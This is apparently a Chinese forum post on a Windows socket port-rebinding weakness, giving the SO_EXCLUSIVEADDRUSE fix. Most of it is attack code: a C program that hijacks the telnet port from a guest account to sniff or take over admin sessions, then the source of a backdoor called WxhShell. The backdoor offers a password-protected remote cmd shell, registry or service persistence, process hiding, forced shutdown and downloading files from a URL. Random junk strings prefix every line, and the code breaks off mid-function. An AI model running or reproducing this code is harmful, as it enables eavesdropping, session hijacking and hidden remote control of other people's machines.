在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mK[Z#obc= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ujZ`T0 bI55G#1G saddr.sin_family = AF_INET;
y%SxQA+\ MLu!8dgI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W<r<K=`5P >ESVHPj] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#*'Qm
A Dz(\ ? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S^eem_C y|2<Vc 这意味着什么?意味着可以进行如下的攻击:
x,!Dd @kWL "yy, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+e-F`k x#J9GP. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gSz<K.CT x9"Cm;H% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j#1G?MF lh8QtPe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P.'.KZJ:WD u^~7[OkE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3m1(l?fp q(?+01 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rD].=.?1 m&:&z7^p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SM2Lbfp!u mG jB{Q+ #include
tWIs
|n #include
9 {&g.+ #include
HIXAA?_eh= #include
P:"R;YCvE DWORD WINAPI ClientThread(LPVOID lpParam);
]YgR int main()
>fH0>W+! {
"' JnFM WORD wVersionRequested;
/MGapmqV9 DWORD ret;
|9#q7kM WSADATA wsaData;
~U0%}Bbh BOOL val;
Qt>K{ >9Cf SOCKADDR_IN saddr;
l 88= SOCKADDR_IN scaddr;
2R[v*i^S int err;
a!9'yc SOCKET s;
b=,BLe\ SOCKET sc;
mn7I# ~ int caddsize;
R2,9%!iiX HANDLE mt;
m+<&NDj. DWORD tid;
#\0m(v wVersionRequested = MAKEWORD( 2, 2 );
T/_u;My; err = WSAStartup( wVersionRequested, &wsaData );
BJj'91B[d if ( err != 0 ) {
H9mN nZ_k printf("error!WSAStartup failed!\n");
i]v3CY|3AI return -1;
ye^x>a[' }
YThVG0I = saddr.sin_family = AF_INET;
W,xdj! ^t sbW+vc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2d D"^z{ o,*m,Qc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uUI#^ A saddr.sin_port = htons(23);
Qr.{_M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@dWA1tM {
DYf QlA printf("error!socket failed!\n");
:_8K8Sa return -1;
g3:@90Ba }
GV0\+A"vD val = TRUE;
AxH;psj //SO_REUSEADDR选项就是可以实现端口重绑定的
6g|,]{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v$y\X3)mB {
T}&A-V$ printf("error!setsockopt failed!\n");
?Mjs [| return -1;
T:za},- }
=Z\q``RBy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kL'4m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Dvg' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OrkcY39"~a N]P~`) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
gP%<<yl {
3:,%>#" ret=GetLastError();
!> sA.L&= printf("error!bind failed!\n");
X-\$<DiJGv return -1;
9q`Ewj R }
QVT0.GzR listen(s,2);
e>MtDJ5 while(1)
2{ F-@}= {
uw+nll*W% caddsize = sizeof(scaddr);
>z<L 60S //接受连接请求
q,P.)\0A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G_F_TNO if(sc!=INVALID_SOCKET)
*~PB {
mdc?~?? 8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A;co1,]gR if(mt==NULL)
-H60T,o
{
G*=HjLmZg printf("Thread Creat Failed!\n");
!VD$uT break;
(HAdr5 }
ygz2bHpD~ }
x6/u+Urn CloseHandle(mt);
Fp.eucRxP }
7ys' [G|}r closesocket(s);
@K"$M>n$Z WSACleanup();
OX;bA^+}P return 0;
O60T.MM` }
=[n !3M+X DWORD WINAPI ClientThread(LPVOID lpParam)
#wyceEa {
h4n~V:nNm SOCKET ss = (SOCKET)lpParam;
AROHe SOCKET sc;
ToHx!,tDS unsigned char buf[4096];
MV5$e SOCKADDR_IN saddr;
5RT#H0/+ long num;
D1RQkAZS DWORD val;
|j+JLB DWORD ret;
!zK"y[V //如果是隐藏端口应用的话,可以在此处加一些判断
ui?@:= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]-wyZ +a saddr.sin_family = AF_INET;
)u(,.O[cw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(Aw@}! saddr.sin_port = htons(23);
\; XJ$~> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k)+{Y v* {
}hn?4ny printf("error!socket failed!\n");
/[/L%;a'p return -1;
#'/rFT4{v }
=ls+vH40& val = 100;
JrBPx/?(,; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Yup#aeXY/ {
tar/n o ret = GetLastError();
R&!;(k0 return -1;
Wps^wY }
DcxT6[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5%TSUU+<I {
&&;.7E ret = GetLastError();
s(X\7Hz_nC return -1;
m+M^we*R }
HL{aqT2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<8(q. {
ftn10TO * printf("error!socket connect failed!\n");
@0@WklAJA closesocket(sc);
/R|?v{S1 closesocket(ss);
e\}@w1 return -1;
Csu9u'.V }
U/Cc!WXV] while(1)
dsX"S;`v {
fhg'4FO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
B/16EuH# //如果是嗅探内容的话,可以再此处进行内容分析和记录
EwBrOq`C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
F*G]Na@6D num = recv(ss,buf,4096,0);
c6b51)sQ" if(num>0)
h7eb/xEto send(sc,buf,num,0);
RSAGSGp else if(num==0)
b\\lEM>o1 break;
n%WjU)< num = recv(sc,buf,4096,0);
I?1BGaAA if(num>0)
]HWeVhG send(ss,buf,num,0);
o5]-Kuw` else if(num==0)
ea{zL break;
%S%UMA. }
V1,p<>9 closesocket(ss);
wtbN@g0 closesocket(sc);
rrC\4#H[?? return 0 ;
q"269W: }
|zRrGQYm BuvnY ~"*W;|) ==========================================================
~APS_iG[ ShQ! '[J 下边附上一个代码,,WXhSHELL
+6: oHfr
glGX ==========================================================
#)L}{mHLM- E\}A<r #include "stdafx.h"
_*z^PkH OeGLMDw #include <stdio.h>
E
6#/@C, #include <string.h>
md bi@ms@ #include <windows.h>
BJ_"FG #include <winsock2.h>
jcC"vr'u| #include <winsvc.h>
) M8,Tv*~ #include <urlmon.h>
zv"NbN SWtqp(h]' #pragma comment (lib, "Ws2_32.lib")
C`ZU.|R #pragma comment (lib, "urlmon.lib")
OGW3Pe0Z' aQHR=.S]X #define MAX_USER 100 // 最大客户端连接数
;eo}/-a_Xw #define BUF_SOCK 200 // sock buffer
^$`mS&3/q #define KEY_BUFF 255 // 输入 buffer
;[4=?GL* Fsl="RB7f #define REBOOT 0 // 重启
O=LW[h! #define SHUTDOWN 1 // 关机
Mp
js 'JgCl'k, #define DEF_PORT 5000 // 监听端口
~[F7M{LS K20Hh7cVJ #define REG_LEN 16 // 注册表键长度
u-jV@Tz #define SVC_LEN 80 // NT服务名长度
-F(luRBS(W
K#6@sas // 从dll定义API
*oLDy1< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
G'Wp)W;])\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]>Dbta.27 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,yp#!gE~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@8w[Z o~ EhKG"Lb+ // wxhshell配置信息
#Mk3cp^Yl struct WSCFG {
xVYa-I[Z int ws_port; // 监听端口
Z0M,YSn z char ws_passstr[REG_LEN]; // 口令
JPL`/WA0 int ws_autoins; // 安装标记, 1=yes 0=no
1.N2!:&G| char ws_regname[REG_LEN]; // 注册表键名
v2r|)c,h char ws_svcname[REG_LEN]; // 服务名
Xhyn! &H5 char ws_svcdisp[SVC_LEN]; // 服务显示名
z&c} char ws_svcdesc[SVC_LEN]; // 服务描述信息
Qe!3ae`Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?v:FGO int ws_downexe; // 下载执行标记, 1=yes 0=no
*qYw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)n<p_vz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"\vQVZd-E ;,uATd| };
p,f$9t4 !5h8sD; // default Wxhshell configuration
d"E3ypPK struct WSCFG wscfg={DEF_PORT,
_B^X3EOc "xuhuanlingzhe",
-awG14% 1,
pyX:$j2R+% "Wxhshell",
B[h^] k "Wxhshell",
LN.*gGl "WxhShell Service",
\N-3JO Vy "Wrsky Windows CmdShell Service",
F+NX
[ "Please Input Your Password: ",
U8gj\G\` 1,
$y.0h( "
http://www.wrsky.com/wxhshell.exe",
#Muh|P]%\ "Wxhshell.exe"
3(t3r::& };
pUqNB_ g'w"U9tjO // 消息定义模块
"1XTgCu\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)/[L)-~y~ char *msg_ws_prompt="\n\r? for help\n\r#>";
} 7:T?
`V: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j[mII5e7g char *msg_ws_ext="\n\rExit.";
|c2sJy j* char *msg_ws_end="\n\rQuit.";
l1`r%9gr char *msg_ws_boot="\n\rReboot...";
@(*A<2;N char *msg_ws_poff="\n\rShutdown...";
3P>1-= char *msg_ws_down="\n\rSave to ";
=_j<x$,b- Al@. KTK char *msg_ws_err="\n\rErr!";
3*\Q]|SI! char *msg_ws_ok="\n\rOK!";
r|]YS6 WrRY3X char ExeFile[MAX_PATH];
BHU$QX int nUser = 0;
{jwLVKT$ HANDLE handles[MAX_USER];
x)N QRd int OsIsNt;
N5`z S79W ?F!c"+C SERVICE_STATUS serviceStatus;
Qv'x+GVW] SERVICE_STATUS_HANDLE hServiceStatusHandle;
4M]l~9;A Z'uiU e`& // 函数声明
0s{7=Ef int Install(void);
u>vvW|OB[ int Uninstall(void);
G; W2Z, int DownloadFile(char *sURL, SOCKET wsh);
K0B<9Wi| int Boot(int flag);
Fv)E:PnKC void HideProc(void);
bWlYQ
int GetOsVer(void);
Y-st2r[, int Wxhshell(SOCKET wsl);
4{vEW( void TalkWithClient(void *cs);
|N)),/R_ int CmdShell(SOCKET sock);
z%T|L[(6 int StartFromService(void);
L AA(2 int StartWxhshell(LPSTR lpCmdLine);
XpkOC o 02 UU[z\^w| E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
zG/? wP" VOID WINAPI NTServiceHandler( DWORD fdwControl );
&Ruq8n< mvTp,^1 // 数据结构和表定义
Jd v;+HN[ SERVICE_TABLE_ENTRY DispatchTable[] =
_emW#*V {
h<>yzr3fN {wscfg.ws_svcname, NTServiceMain},
9;\mq'v% {NULL, NULL}
wD$UShnm9- };
E8R;S}PA S-3hLw&? // 自我安装
)[M:#;,L int Install(void)
":s_O. {
WcM\4q@ char svExeFile[MAX_PATH];
cPAR.h,b? HKEY key;
<-N2<sl strcpy(svExeFile,ExeFile);
0b
n%L~KU >mR8@kob< // 如果是win9x系统,修改注册表设为自启动
34N~<-9AY if(!OsIsNt) {
T2.[iD!A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ITn PF{N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3Z me?o*bY RegCloseKey(key);
f{[0;qDJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IFS_DW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R?9x!@BV RegCloseKey(key);
dT?3Q;>B? return 0;
z5~W
>r }
f.66N9BHL, }
kQ lwl9 }
N]|>\ else {
t&[<Dl/L >nih:5J,ja // 如果是NT以上系统,安装为系统服务
9^8OIv?m8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)i[Vq|n if (schSCManager!=0)
mK"s*tD {
to,\n"$~! SC_HANDLE schService = CreateService
5E~^-wX (
Xxd]j] schSCManager,
xh9$ZavB* wscfg.ws_svcname,
>zL5*:G wscfg.ws_svcdisp,
m_Q&zp[" SERVICE_ALL_ACCESS,
)
< U9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
c>>.>^5 SERVICE_AUTO_START,
]cmX f SERVICE_ERROR_NORMAL,
uZJfIC<> svExeFile,
g|$;jQ\_ NULL,
h4F%lGot NULL,
3/Z>W|w#w NULL,
BL_0@<1X NULL,
/T(9:1/G NULL
> l0H)W );
2u!&Te(!9 if (schService!=0)
$of2 lA {
XM`
H@s7 CloseServiceHandle(schService);
m9i/rK_ CloseServiceHandle(schSCManager);
qnj'*]ysBC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hKWWN`;b ! strcat(svExeFile,wscfg.ws_svcname);
=EA:fq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oo7}Hg> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Yb/*2iWX RegCloseKey(key);
9`Fw}yAt return 0;
s<k2vbhI }
]Zc|<f; }
-rm[. CloseServiceHandle(schSCManager);
bGgpPV }
HDZl;= }
Iapz,nuE 324XoMO return 1;
&g^*ep~|# }
ty pbwfM] >X05f#c"v/ // 自我卸载
pe+h8 int Uninstall(void)
P+|L6w*|[ {
v*=P HKEY key;
O x-eB emnT;kJ> if(!OsIsNt) {
|b.xG_-s1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bP#!U'b" = RegDeleteValue(key,wscfg.ws_regname);
HBtk) RegCloseKey(key);
hdrsa}{g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\y=oZk4 RegDeleteValue(key,wscfg.ws_regname);
1hGj?L0m. RegCloseKey(key);
X<[ qX* return 0;
|3@DCbT }
hp9U }
A!x &,< }
pxd=a!( else {
bSX/)')jU mJ k\$/Kh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
OVe0{}
j if (schSCManager!=0)
DyGls8<\! {
-YKy"
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(A6~mi r! if (schService!=0)
T:Klr=&V {
ozRTY9S
_; if(DeleteService(schService)!=0) {
R( FQ+h CloseServiceHandle(schService);
fTvm2+.nX CloseServiceHandle(schSCManager);
X
V;j6g return 0;
z"UC$ }
_J W|3q CloseServiceHandle(schService);
er)I ".| }
Xzf,S;XV~ CloseServiceHandle(schSCManager);
0zq'Nf?#3 }
S\&3t}_ }
`;;l {8 %g.cE}^ return 1;
IyyBW2 }
KBN% TqH| 9T24dofkJ // 从指定url下载文件
sEdz`F int DownloadFile(char *sURL, SOCKET wsh)
vb6EO[e%I {
V1V0T , HRESULT hr;
{a:05Y char seps[]= "/";
TI<
x;p char *token;
NEri{qxm char *file;
Nq6'7'x char myURL[MAX_PATH];
GN(<$,~g char myFILE[MAX_PATH];
!ou#g5Q@z `<X-3)>;G strcpy(myURL,sURL);
!sm/BsmL7T token=strtok(myURL,seps);
!V37ePFje while(token!=NULL)
1Qf}nWy {
$?0ch15/ file=token;
gtA34iw token=strtok(NULL,seps);
SE]5cJ'> }
4F~^RR" 3Hom0g,V4 GetCurrentDirectory(MAX_PATH,myFILE);
w#9KtW,tt strcat(myFILE, "\\");
=L" 0]4K strcat(myFILE, file);
PFh ^Z L send(wsh,myFILE,strlen(myFILE),0);
/^BC
Qaj send(wsh,"...",3,0);
f` uRC-B/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2(xC| if(hr==S_OK)
E
s5:S# return 0;
'Be'!9K*d else
`)n4I:)2 return 1;
Pj-INc96 \@:,A] }
YS9RfK/ NFs 5XpZ~ // 系统电源模块
N"ga-u int Boot(int flag)
;Y`Y1 {
.Q*X5Fc HANDLE hToken;
[s{! TOKEN_PRIVILEGES tkp;
St-uE|8 y!77gx?- if(OsIsNt) {
A]/o-S_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{ :tO
RF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J/?Nf2L4 tkp.PrivilegeCount = 1;
// o.+?S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
LSJ?;Zg(=z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
d]l8ei@>h if(flag==REBOOT) {
e{P v:jl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WKEb
'^ return 0;
dq[h:kYm }
FLqN3D=yQ else {
f
V. c6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I9*cEZ!l=e return 0;
n~* ".ZC'Y }
%X{EupiFA }
@Iv;y*y else {
fe?Z33V if(flag==REBOOT) {
RP&bb{Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l]R0r{{ return 0;
yLX $SR }
ATNOb else {
1PkCWRpR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@^W`Yg)C return 0;
18>cfDh;N }
%t9C }
T
pkSY`T qos7u91z return 1;
u*l|MIi6J }
L_8zZ8 o $7S"4rou // win9x进程隐藏模块
k"(]V void HideProc(void)
0M_oFx {
x<NPp&GE BX@Iq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K9lgDk"i if ( hKernel != NULL )
'YNaLZ20 {
I &t~o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Eah6"j!B8n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
OU[<\d FreeLibrary(hKernel);
*U?O4E9 }
u/zBz*zh :S+K\ return;
[. 5m}V }
T #\ "ZuuSi // 获取操作系统版本
&XP(D5lf`B int GetOsVer(void)
Bh>L"'.2 {
d8j1L/e OSVERSIONINFO winfo;
P#,u9EIJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
QHEtG2 GetVersionEx(&winfo);
kmI0V[Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
RLB3 -=9t return 1;
#%0V`BS7n else
~C.*Vc?| return 0;
{meX2Z4 }
nM
)C^$3<t O !L`0
=%c // 客户端句柄模块
VM"cpC_8 int Wxhshell(SOCKET wsl)
*Z5^WHwg {
[VCC+_ SOCKET wsh;
yPm2??5MW> struct sockaddr_in client;
/Rp]"S
vt DWORD myID;
[I $+wWW_ C|(A/b while(nUser<MAX_USER)
nV;'UpQw {
C_.9qo]DT7 int nSize=sizeof(client);
\oQ]=dDCd% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
DDg\oGLp if(wsh==INVALID_SOCKET) return 1;
*sho/[~_ ^URCnJ67Se handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
mP(3[a_Q if(handles[nUser]==0)
(C2 XFg_ closesocket(wsh);
Nk`UQ~g$ else
Hd|l6/[xz nUser++;
p5Q]/DhG }
f^WTsh] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Wgq|Q* '=\}dav! return 0;
pJpapA2l*6 }
[|u^:&az FqKJids- // 关闭 socket
fCl}eXg6w void CloseIt(SOCKET wsh)
1SQATUV {
LSo!_tY closesocket(wsh);
8!g
`bC#% nUser--;
::L2zVq5V ExitThread(0);
Nd_fjB }
bQAznd0 KaGUpHw // 客户端请求句柄
f0Q6sV ZHa void TalkWithClient(void *cs)
15$xa_w}L
{
;|N:FG Tt[zSlIMx SOCKET wsh=(SOCKET)cs;
BG{f)2F\ char pwd[SVC_LEN];
TQ
Vk;&A char cmd[KEY_BUFF];
2EY"[xK| char chr[1];
&v\F ah U int i,j;
cpY{o^ _`$LdqgE while (nUser < MAX_USER) {
)vr@:PE j)1y v. if(wscfg.ws_passstr) {
uGKjZi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e5h*GKF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.u`[|:K //ZeroMemory(pwd,KEY_BUFF);
q!K:N? i=0;
D-3[#~MV while(i<SVC_LEN) {
|Td+,>, ejRK-! // 设置超时
ajbe7#} fd_set FdRead;
i jI/z5 struct timeval TimeOut;
k1 5vs FD_ZERO(&FdRead);
)fH
Q7 FD_SET(wsh,&FdRead);
-!\3;/ TimeOut.tv_sec=8;
\?:L>-&h8 TimeOut.tv_usec=0;
h\m35'v! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
b^Hrzn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
idmU.` QbU5FPiN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^S#; pwd
=chr[0]; yTaMlT|
if(chr[0]==0xd || chr[0]==0xa) { -H1=N
pwd=0; @WJ;T= L
break; oL4W>b )
} @|!4X(2
i++; |J`EM7qMK
} TyxIlI4"
:-&|QVH
// 如果是非法用户,关闭 socket -"(*'hD
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .@dC]$2=
} 61\u{@o$
f*ZU a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z1Qz
LvWs
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l,wlxh$}(
`i{d"H0E
while(1) { Hg+<GML
P{L=u74b{x
ZeroMemory(cmd,KEY_BUFF); 7GA8sK
Wj{lb_Rj
// 自动支持客户端 telnet标准 B|(g?
j=0; Y~ ~Dg?e
while(j<KEY_BUFF) { 9#LMK 1ge
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,OZ
cmd[j]=chr[0]; h\RX/C!+
if(chr[0]==0xa || chr[0]==0xd) { D6SUzI1+H
cmd[j]=0; |1tKQ0jg
break; @xG&K{j
} Z\$HgG
j++; uL'f8Pqg
} N_t,n^i9>*
(1/Sf&2i
// 下载文件 OhF55,[
if(strstr(cmd,"http://")) { F<4rn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;w{<1NH2+.
if(DownloadFile(cmd,wsh)) `CK~x=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uf(ayDE
else VA/2$5Wu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~G@NWF?7
} [%IOB/{N
else { Da^q9,|
+ a#&W}K
switch(cmd[0]) { ;i{B,!#
Rq4;{a/j
// 帮助 >Wg=
Tuef
case '?': { Y#U.9>h
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9t! d.}
break; ?2<QoS
} ",r
v%i2 f
// 安装 G
hM
case 'i': { #h!+b
if(Install()) c
'|*{%<e2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I#l}5e5
else verI~M$v{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kuY^o,u-1e
break; YMGy-]!o
} ~$!,-r
// 卸载 B5\l&4X
case 'r': { |T#cq!
if(Uninstall()) 1=VyD<dNG6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xBHf~:!
else OM'iJB6=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8jK=A2pTa
break; glAS$<
} eSPS3|YYn
// 显示 wxhshell 所在路径 $KcAB0 B8
case 'p': { +]l?JKV
char svExeFile[MAX_PATH]; uJ`N'`Z
strcpy(svExeFile,"\n\r"); "+DA)K
strcat(svExeFile,ExeFile); /4{WT?j
send(wsh,svExeFile,strlen(svExeFile),0); ITPE2x
break; ?o<vmIge
} z$ ^d_)
// 重启 VPN
9 Ql=
case 'b': { z zG=!JR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;R$G.5h
if(Boot(REBOOT)) A#>wbHjWF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5-dt0I@<
else { g&RpE41x
closesocket(wsh); "2e3 <:$
ExitThread(0); l;$F[/3a
} ~z^l~Vyg?
break; |N,^*xP(6
} 4+olyBht
// 关机 pEB3qGA
case 'd': { 8X;?fjl`"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !~^2Mu(X
if(Boot(SHUTDOWN)) g |)>65v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"g^Jm! j
else { G<Z}G8FW^
closesocket(wsh); \Z*:l(
ExitThread(0); jAQ{H
} zK0M WyXO
break; %PW-E($o<
} + V=<vT
// 获取shell d`\SX(C
case 's': { U$:^^Zt`B
CmdShell(wsh); [*%lm9 x
closesocket(wsh); l|g*E.:4
ExitThread(0); '!>9j,BJ
break; <I,4Kc!
} <3Ftq=
// 退出 nC:T0OJv
case 'x': { ^Ks1[xc* `
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BKFO^
CloseIt(wsh); #y\O+\4e
break; &Vj@){
} $.,PteYK
// 离开 j;$f[@0o
case 'q': { ,~L*N*ML
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zU5@~J
closesocket(wsh); ^C gg1e1
WSACleanup(); ZllmaI
exit(1); o HK
break; DLwlA!z
} <XL%*
} 6 `6I<OJ\
} pbzt8 P[
{\Pk;M{Y&
// 提示信息 /.:1Da
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); COi15( G2
} m?-)SA
} w+m7jn!$
5N9Cd[4
return; `JIp$
} 9G6)ja?W
33`bKKO}
// shell模块句柄 P IG,a~
int CmdShell(SOCKET sock) U=v>gNba
{ eKP>}`
STARTUPINFO si; 1^IMoC7$#
ZeroMemory(&si,sizeof(si)); AyJl:aN^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5a |[cR
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4lo7yx
PROCESS_INFORMATION ProcessInfo; 51:5rN(_
char cmdline[]="cmd"; #jbC@A9Pe
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n%r>W^2j
return 0; lG6&uMvo
} lB}?ey
s.(.OXD&
// 自身启动模式 y9}qB:[bR
int StartFromService(void) f y|JE9Io_
{ uVYn,DB`
typedef struct :b9#e g
{ <B%wq>4S
DWORD ExitStatus; b'(AVA
DWORD PebBaseAddress; Ioe.[&o6B
DWORD AffinityMask; ]xf89[;0
DWORD BasePriority; \m`IgP*
